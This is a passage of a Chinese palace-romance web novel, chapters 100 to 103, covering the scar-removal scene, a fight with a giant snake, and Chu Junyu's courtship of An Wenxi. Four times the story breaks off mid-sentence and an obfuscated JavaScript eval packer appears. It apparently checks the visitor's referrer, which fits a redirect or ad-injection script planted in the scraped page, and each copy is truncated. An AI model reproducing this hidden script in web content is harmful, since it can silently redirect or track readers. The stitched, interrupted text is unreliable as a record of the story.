“殿下,属下虽然莽撞了些,但是属下都是为了殿下好啊,难道殿下忘了,过了年,您就要和月小姐大婚了,您怎么还能将安文夕带回西楚呢?” 楚君昱翻书的手一顿,看向他道:“既然本宫将她带回去,自然有办法解决这件事。” “可是……”可是殿下您没有看到么,她的眼里只有夏皇,没有您啊。 “谁说她的眼里没有本宫?”那日她拼死为他挡下巨兽的攻击,她的神色她看的分明。 楚君昱合上书看向窗外,决然道:“本宫要一点点走进她的心里。” 即便她现在心里还有北宫喆,那又怎样?他和她会成为同盟,而北宫喆和她只能是敌人。 月无双看见安文夕出来,迎上去道:“夕姐姐你终于出来了,玉公子伤势如何?” “现在已无大碍。”安文夕突然停下脚步,撩开额头上的刘海,露出那块丑陋的烙印对月无双道:“你能去掉它么?” 既然已经不想再和北宫喆有所瓜葛,那么他留给她的痕迹,不论是心里的,还是身体上的,都应该全部拔除。 “嗬——”月无双看到那印有奴字的疤痕,冷吸了一口气,那得有多疼? 因为她长期用刘海和花钿遮掩,所以无双并不知道。 “这……这是喆哥哥做的?” 安文夕垂下眼睑,没有说话,算是默认。 月无双睫毛轻颤,她记得她也是一国公主,也是被人宠在了心尖上,一夕之间,她由尊贵的公主沦为奴隶,心中的凄苦可想而知。而终结这一切的人竟然是她一直喜欢的人,怪不得她这么恨喆哥哥。 “夕姐姐……”月无双没由来的心疼起来眼前的这个女子。 “早就过去了,现在可以除掉它么?” “可以是可以,只是无双做不到,爹爹和哥哥都可以,要不我带你去找爹爹吧。” 安文夕点点头,如今月谷主应该为她配好了相思蛊的解药了吧。 安文夕和月无双来到主院时,月无痕和风飘雪正在为今天谁刷碗一事而争执的不可开交。 风飘雪见到无双过来,眼睛一亮,对她道:“双儿,你爹就知道欺负娘。” “爹爹、娘亲,谷里不是有下人么,还用你们刷碗?”她爹娘什么变得这么勤快了? 风飘雪吃吃一笑,“我和你爹下棋,谁输了谁刷碗。” 有这样一对活宝爹娘,怪不得月清绝和月无双的性格那么开朗活泼,曾几何时,她也是这样的吧,会跟父皇撒娇、耍小脾气。 安文夕苦涩的笑了笑,这些已经离她很久远了。 月无痕看到安文夕,脸上瞬间又恢复了严肃的表情,对她道:“相思蛊的解药老夫已经配好了。” “月谷主,今日我来另有事相求。” “哦,什么事?”月无痕已经接过风飘雪递过来的帕子擦了手。 安文夕再次撩开刘海,露出烙印,这次月无痕和风飘雪眼中齐齐闪过惊色。 “月谷主,您能不能帮我去掉这块疤痕?” “自然可以,不过得需要将这一块剜掉换皮,你是否能忍受的了?” “月谷主自不必担心,我可以的。” 月无痕看着她眼底的坚韧,一瞬间仿佛看到了当年那个被打的皮开肉绽也咬牙不吭一声的女子。 “好,既然如此,你随老夫来药房。” 月无痕带着她绕过了楚君昱所在的房间,径直来到了后面的偏房。 “先躺下吧。”月无痕吩咐着便开始取出刀片、纱布等物。 暗处的左言瞥了眼已经躺好的安文夕,匆匆离去。 北宫喆将千年龙魄交给了月清绝,正准备着回宫事宜,看到左言突然现身,抬眉道:“出了何事?” “瑾淑妃她要剜去额头上的烙印,换皮。” 什么?北宫喆端着茶盏的手蓦地一松,一把将滑落的茶盏捞回手中,稳稳地放在小几上,衣袂一摆,整个人立即掠至屋外。 “吱呀——”北宫喆夹带着怒气,满面寒霜的开了门,正看到安文夕闭着眼睛咬着唇,一旁的月无痕正准备下刀,月无双不敢看着一幕,背过了身去。 他的到来,成功的吸引了众人的注意力。 安文夕看着门口高大的身影,面上一滞,还没有反应过来,北宫喆整个人已经掠至她的面前,右手狠狠地扣住了她的脖子。 “你就这么讨厌朕?” 安文夕看着北宫喆如一头发怒的狮子一般诘问着她,她眼角的余光瞥到了正举着刀片的月无痕,猛地一把抓住月无痕的手往自己额头上按去。 这一瞬来的太突然,锋利的刀片瞬间就把安文夕的额头割破,殷红的鲜血顺着她的眼角流下。 安文夕松了口气,微微扬起了嘴角。 北宫喆双眸阴鸷,锁着她的双眸道:“你不要命了?” 他苦涩道:“既然如此,朕成全你。”说着从月无痕手中接过来刀片。 第100章 再无纠葛 第一百章再无纠葛 “嘶——”额头蓦地一疼,安文夕蓦地咬紧了下唇。 “喆哥哥……”月无双吓得捂住了嘴巴。 月无痕冷眼瞧着,最后一拂袖子,去准备纱布,药酒。 北宫喆脸上的线条格外冷冽,嘴角紧抿,细长的睫毛垂下一排剪影,掩去眼底的愤怒,然而手上的动作却分外温柔。 北宫喆利索的剜去安文夕额头上的烙印,然后一把扯开自己胸前的衣服,在心口处剖下一小块皮肉,敷到安文夕血红一片的额头上。 接过月无痕递来的药酒,将额头上的伤口清理干净,敷上药,然后小心翼翼的包扎起来。 这一切,轻柔至极,生怕不小心弄疼了她。 包扎完毕,鹰眸锁着安文夕道:“你不是想跟朕再无纠葛么,告诉你这不可能,这辈子你也别想摆脱朕!” 安文夕赫然睁开眼睛,看着北宫喆胸前被染得血红,瞬间明白了什么,伸手想把额头上的纱布扯下来,不料一把被北宫喆捉住双手,狠狠的扯进怀里。 “看到了么,只要朕一日不放开你,你永远别想逃开!” 浓郁的血腥味一股脑的灌入安文夕的鼻息,她略略皱眉,刚想挣扎,突然发现,北宫喆再次不动声色的点了她的穴道。 她暗自咬了牙,北宫喆松开了她,淡扫了眼自己胸前的伤口,邪邪一笑,将衣服随手一收,转身离去,若是有人观察的话,今天他的背影竟有些踉跄。 月无双根本拿捏不准北宫喆点穴的力道,只能眼睁睁的看着安文夕定在她的面前,她微微瞥了眼一旁收拾东西的月无痕,谁知月无痕一挥衣袖,凉凉道:“老夫可没有空陪你们小孩子瞎折腾。”随即径直出了房门,北宫喆那个臭小子点穴的手法极其古怪,他也解不开。不过,他也没有必要解释这些。 刚走了两步,回头看了眼安文夕的额头道:“既然已经换过皮了,你就别想着撕了它重换,老夫可不会给你换第二次,况且,也只有一次换皮的机会。” 安文夕一直咬着唇,没有说话。 “相思蛊的解药放在了架子上第二阁的青玉瓶内。” “多谢月谷主了。” “夕姐姐……”月无双张了张口,她第一次发现喆哥哥竟然这么残暴粗鲁,简直就是一个混蛋。 安文夕一直保持着伸手的姿势,两个时辰后,穴道解开,整个人都麻木了,胳膊更是酸的抬不起来,外面天色渐暗,此时已迫近日暮。 凌冽的寒风袭面而来,安文夕感觉不到一丝冷意,只觉手脚酸麻不堪。 “夕姐姐,我陪你回去吧。”月无双赶紧跟了出来,伸手扶住了她。 安文夕扯了扯嘴角,“无双,我还没有那么娇弱,我自己可以的。” “夕姐姐,你赶紧好起来,我们枫月谷有几处好玩的地方,我还没有来得及带你去呢?”月无双看了眼她苍白的脸色道。 “好,过几日我们就去。”安文夕拥紧了身上的披风。 第二日,熹微的阳光洒进窗棂,带来了丝暖意,在阴霾了十几日后,终于迎来了一个晴天,这满谷的梅花更加灼艳了起来。 北宫喆一袭墨衣,跨坐在蹄血玉狮子上,手中握着缰绳。玄衣披风猎猎,衬得他白若冠玉的脸庞更加的冷峻,眉头微锁,往昔那熠熠生辉的桃花眼此时也沁满了冰霜。 月清绝顺着他的视线望去,不禁撇了撇嘴道:“既然这么舍不得,为什么不去告个别。” 就算她知道了又如何,估计她就早就巴不得他走了。 北宫喆眸光一敛,双腿猛地一夹马腹,卷起一阵尘土,后面的青玄立即策马跟上。 “真是别扭。”月清绝咕哝一句,然后转身回了院子,想起还在昏迷的江向晚,然后配起了药,估计老爷子是不太乐意管那江向晚的死活。 今天一早,楚君昱就从药房搬回了他原本的厢房静养。 此时,安文夕正端着药汤敲开了楚君昱的房门。 楚君昱正摆弄着棋局,看到她来,落下一子,笑道:“胭脂怎么来了,你自己还病着呢,怎么不好好养着。” “我现在已经没什么大碍了,就来看看你。”说话间,安文夕已经将药碗递给了他,楚君昱淡扫了眼漆黑的药汁,一饮而尽。 抬头看着她额头上包扎的纱布,随口问道:“你的额头怎么了?” 安文夕扯了扯嘴角,“没什么事,不小心伤到了而已。” “我听说北宫喆在枫月谷,他没有为难你吧?” “没有,如今我已不再是瑾淑妃,和他再无瓜葛。”安文夕眼底浮现一片韧色。 她看了眼棋局道:“你在和自己下棋?” “不过是打发时间罢了,胭脂有没有兴趣来一盘?” “也好,好久没有碰了。”说着执了白子。 下棋时的安文夕分外娴静,用手抵着下巴思考的模样多了分娇憨,长长的睫毛在脸颊上垂下了一排暗影来,抬眸时,水灵灵的杏眸灵动且透着聪颖。 安文夕落子既快又狠,转眼间将楚君昱的黑子杀了一片。 本打算和她练练手的楚君昱顿时收了轻视之心,专心应付起来。 安文夕勾了勾唇道:“我可不会手软,你不许保留实力。” “胭脂棋艺如此精湛,我若是有意保留实力,岂不是要被你杀得片甲不留?” 安文夕下棋擅长布局,不动声色就已经埋下了几多陷阱,这一点当年就连安国君也自叹弗如。 楚君昱看着快要被困成死局的白子,眼角有抹狡黠的笑,“胭脂这局怕是要输了。” “哦,我怎么觉得未必呢。”安文夕轻轻落下了一子。 楚君昱一直挂着的浅淡的笑顿时凝了嘴角,这真是计中计、局中局,对面的女子竟然有这样婉转的心思。 “玉公子,你输了。” 楚君昱摆了摆手,“胭脂这般心思,我认输,心服口服。” “再来?” “好,这次换我用白子。” 接下来两局皆是平局,楚君昱一时起了兴趣来。 “公主!”欢凉突然推门而入,安文夕一惊,手中的黑子蓦地落在了桌上。 “小师妹。”袭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“安姑娘,本公子要进来了。”月清绝不经同意,直接推开了房门。 进了屋,月清绝径直将视线放在了欢凉身上,“小丫头,没想到你也在啊。”视线绕过欢凉,看向袭匀,挑了挑眉道:“他是谁?” 袭匀微微眯了眯眼睛,这位想必就是枫月谷的少主了吧。 “这是以前在宫里伺候公主的小太监。”欢凉随口道。 月清绝打量了眼袭匀,见他唇红齿白,眉目阴柔,便没有怀疑。 袭匀咬牙从背后掐了欢凉一把,幽怨的看了她一眼,说什么不好,非得说是太监,他可是纯爷们! “为什么不说是侍卫,非说是太监!”袭匀对欢凉传音入密道。 欢凉白他一眼,“侍卫都是皮糙肉厚的,像你这样的只能是个小太监。” “那你就是承认本公子英俊潇洒了?” 安文夕不去理会他们眉来眼去,对月清绝道:“月公子所来何事?” “难道本公子没事就不能来了么?”这枫月谷可是他家,他乐意去哪就去哪,他不爽的隔断了欢凉和袭匀的视线交流。 “我来给你把把脉。”月清绝说着落了坐。 第101章 立她为后 第一百零一章立她为后 “我的风寒已经好的差不多了,不必再把脉了吧。”安文夕若有所思的看了月清绝一眼,明明是想来看看欢凉的吧。 月清绝已经不由分说拉过安文夕的手为她把了脉,“风寒的确已经好了差不多了,不过气血不足,我再给你开两服药调理调理。” “不用了吧。” “公主,这半年来你的身子骨一直不太好,月公子说得对,你得好好养养身子。”欢凉看着安文夕漫不经心的样子愤愤道,公主何时能对自己上点心啊。 “你看,这小丫头也这么说。”月清绝颇为赞赏的看了欢凉一眼,“你随我来,我配好了药你拿回来。” “好。”欢凉不疑有他,立马答应下来。 “等等。” 月清绝刚刚迈出了一只脚,听到安文夕的话,立即停住了脚步,回头道:“何事?” 安文夕对欢凉递了个眼神,欢凉立即和袭匀一左一右的挡在了门前。 月清绝嘴角的笑意一滞,用眼尾扫了眼欢凉和袭匀,在心里干笑一声,这是什么意思?难不成在他枫月谷他们还想绑了他? “北宫喆是不是将千年龙魄交给你了?”安文夕慢慢走近他道。 月清绝凤眼微眯,刚想哈哈大笑两声给哄骗过去,只听安文夕浅浅道:“你不说,我也猜得出来。” 月清绝一屁股坐了下来,自己给自己倒了杯茶,慢悠悠品了起来,“没错,千年龙魄现在在我这里。不过,人家楚君昱还不着急,你操个什么心?” 安文夕眸光一敛,“那是我答应那送给楚君昱的,没想到被北宫喆坐享渔翁之利。” 月清绝略略点头,“他这么做,的确是有些不道德。不过,这不是你和他的交易么,他带你们出了恶龙潭,千年龙魄就归他。” 月清绝看了眼欲说话的安文夕道:“打开恶龙潭的空间需要帝王血引路,没有他,你们不可能出得来,这一来一回,只怕是消耗了不少鲜血。” 那赤红的一幕再次浮现在安文夕眼前,她抿了抿嘴角,没有说话。 月清绝叹道:“你不要被仇恨迷住了眼睛,反而看不到有些为你付出的人,若是没有什么事,本公子就去配药了。” “也罢,那千年龙魄到底是属于江向晚的。”安文夕垂眸。 “小丫头走了。”月清绝看了欢凉一眼。 袭匀看着抬脚要走的两人,立即追上去道:“等等我,我也去。” “你一个小太监去做什么,好好地伺候公主。”欢凉甩下这一句,径直出了门。 接下来的几日,安文夕天天去找楚君昱下下棋,偶尔陪他去散散步,晒晒太阳,她后背上的抓痕也已经结了痂。 一直昏迷不醒的江向晚蓦然睁开了眼睛,这数日来她虽然一直靠着名贵的药材吊着身体,但由于长期卧床的缘故,身体羸弱,脸色苍白的可怕。 雪嫣惊喜的搀着她的手,扶着她去屋外晒太阳。 江向晚许久不见阳光,一时竟有些刺眼,抬手遮着太阳,“皇上何时走的?” “皇上在小姐昏迷的第五日走的。” “那他走时可有交代什么?” 交代?雪嫣摇了摇头,皇上走时只是匆匆来看了小姐一眼,并嘱咐让她好生伺候,除此之外,再无其他。 “那她呢?”想起那日北宫喆将她紧紧抱在怀中,她的睫毛一颤。 她?难不成是指瑾淑妃? “皇上有没有将她带回宫?” “没有,她还在枫月谷,好像在照顾一位受了伤的公子。” 这位受了伤的公子想必就是众人口中的玉公子了吧,那日她依稀记得北宫喆从恶龙潭带出来一个浑身是血的人。 “小姐,雪嫣想回宫。”雪嫣有些委屈的看了眼江向晚。 在宫里因着她是江向晚的贴身侍婢,哪个宫里的娘娘不是敬她三分,更别说宫女太监了。谁知到了这里,所有的人都不把她放在眼里,饭菜差不说,还是到点供应,过了时辰,连剩饭都没有了。因为月无双不待见他们主仆,连带着谷主的下人也在她面前扬武扬威。 “皇上说何时来接我回宫了么?” 雪嫣摇了摇头,“月谷主说,小姐体内器官受损,得将小姐的心脉修补好了,才能将千年龙魄植入小姐体内,这段时间,让月公子好好照顾小姐。” “可是还有不到一月的时间就要过年了。”难不成他想让她在这里过年么?太后娘娘可是已经许诺了她,过年之时,要让他立她为后。 不行,她一定要回去! 月清绝离老远就看到了江向晚,撩了撩衣袍,来到了她跟前道:“你醒了?” 然后看了眼雪嫣道:“这里风这么大,你怎么带她出来了?”月清绝说着已经为江向晚把了脉,脉象丝毫没有什么变化。 照着她这个身体状况,估计撑不了多久,还不如直接取了她的引魂丹,让她就此沉睡,这样修复起来她受损的心脉反而更容易一些。 “月公子不必责怪雪嫣,好不容易醒来了,我想出来透透气,这满谷的红梅倒别有一番风味。”江向晚嘴角挂着一丝极淡的笑,看向远处开的正好的梅花。 “得了,等你身子骨好了再赏梅也不迟,赶紧回去吧。” 江向晚搭着雪嫣的手,缓缓转过身来,一抬头刚好看到一袭红衣的安文夕和一位紫衣翩翩的公子相伴而来,四目相接的刹那,她一时没有挪动脚步。 安文夕目光从江向晚脸上掠过,那惨白的脸色已经和已死之人没有什么两样了,没想到她竟已经虚弱成了这样。 “玉公子,不如我们去这边吧。”安文夕眸光一转,看向右手边的梅林,“我看那里的梅花开的鲜艳,用来酿梅花酒再好不过了。” “好,就听你的。”楚君昱眼底有着极浅的宠溺。 江向晚眼底闪过一抹惊讶,安文夕竟然和这个玉公子如此亲密,她没有看错,玉公子看向安文夕的眼神别样的温柔,那是看向喜欢之人的眼神。 安文夕正欲抬脚,只听得耳边传来江向晚的声音道:“你是瑾淑妃?” “不是,你认错人了。”安文夕不想和她纠缠。 “安文夕,你何必要说谎呢。”江向晚嘲弄道。 安文夕脚步一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江向晚一步步后退,警惕的盯着面前垂涎着口水的巨**。 月清绝从地上起来,整理了下衣袍,又把额前的发丝一丝不苟的拂到脑后,轻咳了两声道:“今天的小乖有些不正常,它怎么自己跑了出来?” “哥,我知道了原因了。”月无双看了眼江向晚,“你快去拿些人参来。” 平时这小乖被她养的十分贪嘴,尤其喜食名贵中药材,而江向晚由于长期服药,身上有一股淡淡的药草香,这才将一旁晒太阳的小乖引来。 月清绝经月无双提醒,顿时明了,当即折回了药房。 江向晚和雪嫣此时的注意力全在逐渐逼近的巨**上面,根本就没有注意到他们说了什么。看着蠢蠢欲动的小乖,她嚯的一下拔出了青霜剑。 “不要!”月无双立即惊道。 江向晚咬了咬牙,将身体中所有的力量全部凝聚在握剑的右手上。 只见银光一闪,月无双立即跃了出去,抽出腰带拦住了江向晚即将落下的剑。 第102章 欢凉受伤 第一百零二章欢凉受伤 “嘶——”耳边传来一阵裂帛的声音。 安文夕抬眸看去,江向晚手中的青霜剑毫不费力的斩断了月无双手中的腰带,冰冷的剑锋直冲月无双的面门而来。 她还没有来得及出手,离月无双一步之遥的欢凉一把将月无双推开,身形一闪,就着剑锋堪堪避过。 江向晚的这一行为惹怒了地上的小乖,它护主心切,长长的蛇尾瞬间将江向晚缠了起来,恨不得将它整个吞下。 “小姐!” “小乖!”月无双立即拖住了它的蛇尾,即便她再不喜欢江向晚,也不能让她在枫月谷出了事。 欢凉见状,跃身而上,攀到巨**腰身处,试图要救下被它越缠越紧的江向晚。 “欢凉——”袭匀暗唾一声,这条巨**力大无比,那天他就已经领教过了,她竟然还想从它的蛇尾下救出江向晚,真是蚍蜉撼树,不自量力! 安文夕微微蹙了眉,江向晚的死活,她自然不在乎,她只怕欢凉有什么意外。 江向晚被小乖缠得渐渐喘不过来气,几次堪堪避过它张开的大嘴,握紧手中的青霜剑胡乱的刺了起来。 小乖吃痛,缠得更加紧了,月无双抿了抿唇,足尖一点,掠至半空,双臂抱住小乖的脑袋。 缠着江向晚的蛇身一松,她立即从空隙之间爬了出来,即将脱离蛇身之时,小乖巨尾一摆,试图再次将她缠绕起来。 江向晚已经被折磨的心力交瘁,咬了咬牙,抓起身边的青霜剑砍向小乖的蛇尾。 这一剑,深可见骨,殷红的鲜血立即喷涌而出,小乖烦躁的翻动着身子,将月无双狠狠地甩了出去。 月无双痛的龇牙咧嘴,费力爬了起来,用手揉着被摔疼的地方。 “无双……”安文夕忙搀住了她。 “夕姐姐,我没事,你离远一些,今天的小乖疯了!” 月无双抬眸看向小乖**向晚砍伤的蛇尾,微微蹙了眉。 小乖痛苦的在地上翻动着,嘴里吐着的鲜红的信子仿佛淬了毒,硕大的脑袋朝江向晚俯冲下来。 江向晚右手一翻,手中的青霜剑寒光一现,她仿佛使出了全身的力气要将小乖的脑袋整个削掉。 “不好!”月无双刚想发力,刚才受伤的双腿一软,身子蓦地往前一倾。 安文夕敛眸,迅速掠至江向晚身侧,准备接下江向晚砍下来的青霜剑,谁知小乖的蛇尾一卷,使得江向晚剑锋一偏,直直刺向安文夕胸口处。 “公主!”欢凉衣袂一摆,在众人还未反应之际,一把推开了安文夕。 “欢凉——”安文夕惊呼道,这个傻丫头难道不知道仅凭如今的江向晚很难伤到她么? “噗呲——”耳边传来一声清晰的刀剑入体的声音,安文夕蓦然回头,眼前的血红染红了她的眼睛。 她眸光一沉,抬手一掌掀开江向晚,然后抱住倒下来的欢凉。 索性江向晚手劲不大,并未伤及心脉,安文夕立即封住了欢凉的穴道。 一直在一旁观望的袭匀眸光一寒,立即一把抱起欢凉,直奔药房而去。 安文夕回头对楚君昱道:“今天没办法陪你采梅花了。”说完急忙跟了上去。 这时,月清绝这才姗姗赶来,手里抱着几根两只粗的人参,看见浑身是血的欢凉,脸色骤变,再看了眼地上沾血的青霜剑,心中已然明了。他立即用手中的人参将小乖诱惑走,月无双冷冷瞥了眼江向晚,“你还真是无时无刻不想着置人于死地!” 江向晚被刚才安文夕那一掌卸去了所有的力气,此时正虚弱的靠在雪嫣肩头,额头上出了一层细汗。 “你不要无赖我家小姐,我家小姐又不是故意的。” 月无双嘲讽的看了眼地上的主仆二人,的确从表面上看,江向晚不是故意刺向夕姐姐的,但是江向晚的心思可骗不了她! 月无双看了眼江向晚惨白的脸色,冷哼一声,瘸着腿跟了上去。 “小姐,小姐你坚持一下,雪嫣这就带你回去。”可惜雪嫣的力气太小,根本不足以搀动江向晚,她只得求救般的看向楚君昱。 此时这里只剩下了楚君昱和江向晚主仆二人,楚君昱仿佛根本就没有看到主仆二人一般,径直从他们身旁走了过去。 “公……公子,你可否将我家小姐送回房间?” 楚君昱闻言脚步一滞,若果他刚才并没有看到江向晚故意掷出细不可见的发针射向小乖的蛇尾使得她的剑锋偏向安文夕的话,他此时还会动了恻隐之心,将她送回房间。 可惜不巧的是,在他刚才的方向,将那一幕看的清清楚楚。 胆敢伤害他楚君昱喜欢的女人,他绝不会放过,凌厉的生气在他的眼底一闪而过,楚君昱抬脚走开,身后的紫衣披风迎风而飘。 雪嫣不可置信的看着紫衣袂袂的楚君昱从她面前走远,脸色顿时涨的绛红一片。 过了不久,去而复返的月清绝无奈的将江向晚抱回房间,然后匆匆赶去了药房。 风飘雪利索的给欢凉处理了伤口,然后交代了几句,便回了主院,不禁叹道,自从他们来了这枫月谷,好似这枫月谷就没太平过,实在是太影响她和夫君的二人世界了! 安文夕握着欢凉的手,不禁斥责道:“你个傻丫头干嘛往剑锋下面跑,下次可不许这样了。” “欢凉的责任就是护公主安全,更何况公主有伤在身,欢凉断不敢再让公主受伤。” “真是关心则乱,以小师妹的能力,就是十个江向晚,也能给拍**!”袭匀撇嘴道。 “你闭嘴,真不知道公主危险时你在哪里!”欢凉由于愤怒牵动了伤口,痛得一阵皱眉。 “好好好,我不说话,你别生气。”袭匀径自拿了药道,“我去给你煎药行了吧。” “小丫头,你怎么样?”月清绝脸上带着关切,踏门而入道。 “还好,死不了。”欢凉淡淡道。 “呸呸呸,什么死不死的,你这小丫头也不嫌晦气!”月清绝见欢凉没有什么大碍也就稍稍放了心。 待月无双给小乖处理了伤口之后赶来药房的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安文夕将枝头的梅花一朵朵放进竹篮里,她看着半篮子花瓣心想也差不多了,刚刚回头,眼前一阵落英缤纷,绯红的花瓣飘飘洒洒,一场极美的花雨震撼了她的视觉。 她不禁喃喃道:“好美。” 楚君昱慢慢朝她走来,邪邪勾唇,“能博美人一笑,足以!” 眼前的这个男人竟然为了博她一笑花费了这样的心思,一抹感动再次浮现在安文夕的心头。 远处的月清绝看着这一幕,心里为北宫喆捏了一把汗,看看人家楚君昱多浪漫,要是他是个女人也同样会选择温柔的楚君昱而不是残暴的北宫喆! 但是,浪费归浪漫,此时月清绝比较心疼那一地的落花,真是不是自家的,就不知道珍惜啊! 楚君昱握着安文夕的手,看着她的眼睛道:“胭脂,给我一个机会好么?” “我……” “胭脂,你不要逃避,其实你已经慢慢开始接受我了不是么,为了你我可以登基为皇,举兵大夏,若你不愿,我们可以一生一世一双人共看天下。” 第103章 他的胭脂 第一百零三章他的胭脂 楚君昱凤眼上扬,邪魅中带了抹柔情,眼神深邃而温柔,仿佛天下间唯剩了她一个人。 安文夕咬着唇盯着楚君昱的眼睛,看着他黑瞳中倒映着的自己,紧张而有些不知所措。 楚君昱嘴角微勾,握着安文夕的手一翻,手中的碧玉手镯已经稳稳地戴在了安文夕手上。 “胭脂,这次不许摘下。” 凉沁沁的触感令安文夕一惊,她明白那是什么。 楚君昱不待她开口道:“胭脂,你还欠我一个答案。” 安文夕微微一滞,猛然想起,那日他说让她和他一起回西楚,他帮她复国,她说第二日要给他一个答案,后来欢凉和袭匀回来,再接着欢凉受伤,这件事已经渐渐被她忘在了脑后。 她有些不好意思的看了眼楚君昱,她失约了。 “胭脂,我想我知道你的答案了。”楚君昱微微一笑,她的眉眼之中,分明已经不再排斥他了。 “楚君昱。”她没有唤他玉公子,而是楚君昱,他当真要为了她而与大夏为敌么,这对他夺嫡称帝,必然十分不利! 安文夕至今想不明白楚君昱怎么会喜欢上她。她美,却不是顶美。论才情,想必也及不上他的未婚妻月紫琼,那个曾因一首飞花五言诗而闻名九州的女子。 “胭脂,我喜欢你仅仅因为你就是胭脂罢了,是属于我一个人的胭脂,你不需要去考虑其他,只需相信我。”楚君昱一字一顿道,灼灼的凤眸令人一眼沉迷。 那一日她红衣如魅,倾城一舞,摄魂夺魄,自此再也难忘。 情不知所起,一往而深。 是属于他一个人的胭脂,这么霸道却温柔的情话,染红了安文夕的脸颊。前一世她惨死而终,这一世在情蔻初开的年华里遇到了北宫喆,动了心,付了情,如今得到的却是彼此相杀。 安文夕看着面前的楚君昱,睫毛轻颤,她该如何选择? 楚君昱看着近在咫尺的红唇,喉结一动,作势吻了下去。 电石火花之间,唇瓣上传来一阵酥麻,看着眼前楚君昱放大的俊脸,安文夕瞬间明白过来,还未来得及推开他,心口处传来一阵撕心裂肺的疼痛,这是相思蛊在提醒着她,她此时在背叛那个人么? 安文夕趔趄了两步,扶住了身侧的梅树,捂着心口浅浅挽眉。 她轻咬贝齿,北宫喆他想用相思蛊困住她么? 楚君昱发现了安文夕的异样,关切道:“胭脂,你怎么了?”说着要上前扶她。 “别过来,让我待一会,一会就好。”安文夕紧紧的抠着胸口,现在楚君昱的靠近,无疑只会增加她的疼痛。 楚君昱看着安文夕痛苦的样子,眸光微敛,黑瞳骤缩,似乎想到了什么,“胭脂,北宫喆是不是给你种了相思蛊?” 安文夕蓦然抬眸,然后点了点头。 “卑鄙!”楚君昱怒道。 即便是有这相思蛊,他也不能将胭脂锁在他的身边! 楚君昱看着挽着眉头的安文夕,想上前将她拥入怀中,为她分解疼痛,可是他越是靠近,她现在越是痛苦,他紧紧握着拳,一时踌躇不前。 半晌,待安文夕心口的剧痛渐消,楚君昱捡起地上的竹篮对安文夕道:“胭脂,走吧。” 夏宫,琼华殿。 北宫喆正批阅着奏折,突然心口处一阵抽搐的疼,握着朱笔的手一顿,笔尖立即在宣纸上晕染出朱红的痕迹来,北宫喆霍然抬眸,黑瞳深深,夹带着一丝微不可见的怒意。 “左言!” “皇上。” “你去一趟枫月谷。” 左言一愣,不是刚从枫月谷回来么,难道皇上让他去将江小姐接回来? “你给朕将那个女人带回来!” 那个女人?看着皇上眉宇间隐忍的怒气,自然是瑾淑妃无疑了。 皇上不是说枫月谷相对安全才将瑾淑妃留在枫月谷的么,为何现在要接回来,真是圣心难测,左言不敢多言,垂头应是。 “慢着。”北宫喆叫住了左言道。 北宫喆黑瞳骤缩,对左言交代几句,然后传来张海道:“宣风将军和右相。” 风明和易寒皆叩首行礼道:“微臣参见皇上。” “免礼。”北宫喆随手拿起龙案上的两本奏折扔给风明易寒二人。 易寒是楚君昱早些年就埋在北襄的暗线,北宫喆察觉时,以为是北襄六王爷埋在他身边的探子,他一直不闻不问,并暗自换上了自己的人。 由于上次楚君昱为了将安文夕带离夏宫,便使得这条暗线彻底暴露,北宫喆趁机将西楚埋在夏宫中的暗线彻底铲除。 风明和易寒二人看了眼奏折上的内容,脸色丨微微一变。 易寒勾唇道:“据此看来,太后娘娘已经坐不住了。” “哼,她早就坐不住了。”北宫喆冷嗤,他刚刚拿下北襄,继而传来她有孕的消息,小产之后,又和漏网之鱼六王爷慕容清勾结在了一起。如今,慕容清拿捏不住了,就将视线放在了江佑城身上了。 “接下来皇上打算怎么办?”风明开口道。 “等,等着他们逼宫**!” “皇上为何一定会笃定他们会逼宫呢?” “慕容清野心勃勃,**是迟早的事情,既然他现在没有**的理由,那朕就给他一个理由!”北宫喆神情清绝桀骜,一副君临天下之态。 “右相他……”易寒犹豫道。 “有话直说。” “启禀皇上,微臣以为右相权利熏心,如今态度摇摆,时间长了,难保不会倒向太后。” 风明接口道:“朝堂之中,有三分之一是皇上提拔的新秀,三分之一是太后娘娘的心腹,剩下的是安景晟在朝中的眼线。如今,太后娘娘已经开始向右相施压,想必右相大人不久就会做出决断。” “爱卿所言极是,江佑城老奸巨猾,他之所以拥护朕,是笃定了朕会立晚儿为后,如今朕迟迟没有动静,那老匹夫着急了!” 这涉及了皇上的私事,风明和易寒识趣的打住,绕开了话题。 “皇上,据暗探来报,六王爷有和凤公子结盟的意图,不过凤公子拒绝了。”风明沉声道。 易寒补充道:“凤公子早年成名,据说和安景晟往来过密,有人说他是安国君的私生子。” 凤公子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“皇上素来没有吃宵夜的习惯,还是劳烦彭婕妤拿回去吧。” “皇上让奴才转告彭婕妤,若是彭婕妤觉得素芳阁离琼华殿太近才让彭婕妤每日都来送宵夜,皇上说清幽宫挺适合彭婕妤。” 清幽宫…… 彭安容闻言浑身一震,难道皇上是想让她…… 她顿时眼圈一红,拼命的咬着下唇,袖子中的手狠狠的绞着丝帕。 